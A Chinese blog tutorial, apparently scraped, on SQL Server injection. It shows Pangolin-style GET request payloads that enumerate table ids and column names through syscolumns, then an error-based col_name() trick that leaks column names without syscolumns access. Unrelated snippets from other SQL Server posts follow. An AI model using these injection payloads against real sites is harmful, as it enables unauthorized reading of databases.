SqlServer注射暴列名的另一種方法

2021-12-30 01:36:46 字數 1176 閱讀 6186

作者:ninty

先來抓包看乙個pangolin的暴列名的語句 ,十分經典:

sql**

1. get /sql.asp?id=1 and (select top 1 cast(id as nvarchar(20))+char(124) from [pubs]..[sysobjects] where name=0x4400390039005f0054006d007000)=0-- 取得要暴列名的表的id

2.  

3. get /sql.asp?id=1 and (select cast(count(1) as varchar(10))+char(94) from [pubs]..[syscolumns] where id=757577737)=0-- 得到此表的列的數量

4.  

5. get /sql.asp?id=1 and (select top 1 cast(name as varchar(8000)) from (select top 1 colid,name from [pubs]..[syscolumns] where id=757577737 order by colid) t order by colid desc)=0-- 開始從syscolumns裡面報列名了。

其它的注入工具也大同小異,都是從syscolumns裡面取得列名。

但是,如果出於某些原因,我們無法從syscolumns表裡面取得資料該怎麼辦?比如我們沒有syscolumns表的select許可權。

下面就是文章的重點了,其實說白了也就是乙個函式的應用 :

sql**

1. select 1 where 1=(select isnull(col_name(object_id(admin),3),meiyoucilie))

上面這條語句表示得到admin表的第三個列的名稱,並與1進行比較,結果肯定是會報錯的,通過報錯結果我們就可以將第三列的名字暴出來了,沒有用到syscolumns表哦。

用到的是col_name函式,它有兩個引數,第乙個就是表的id,第二個就是列的索引。這個索引是從1開始的。

如果指定索引的號不存在。 比如admin表裡面一共才三個列,結果索引傳了個4進去 ,就會報錯說

"meiyoucilie"

語句在sql server 2000的環境下測試通過。

新手在學習sql server時發現的小技巧,牛人請誤見笑,如果有錯誤還請提出來 。。

SQL Server列名顯示無效

在sqlserver中,當設計 修改 表結構之後,再用sql語句時,列名會顯示無效,但執行可以通過 原因是sql server的intellisense 智慧型感知功能 需要重新整理一下,用快捷鍵ctrl shift r即可 關於intellisense 智慧型感知功能 的主要功能,就是在使用者具有...

sql server 帶列名匯出至excel

sql語句就用下面的儲存過程 資料匯出excel 匯出查詢中的資料到excel,包含欄位名,檔案為真正的excel檔案 如果檔案不存在,將自動建立檔案 如果表不存在,將自動建立表 基於通用性考慮,僅支援匯出標準資料型別 鄒建 2003.10 呼叫示例 p exporttb sqlstr select...

SQLserver查詢語句重新命名時,列名的別名無效

原來的語句 select distinct wtdh,dwmc,gcmc,zh,sgbw,memo,syxm,qyr,qyrzs,jzdw,jzr,jzrzs,sysl as sybh,wtdw,gcmc,sgbw,tyzl,sjyq,jccs,qyr,qyrzsh,jzdw,jzr,jzrzsh,...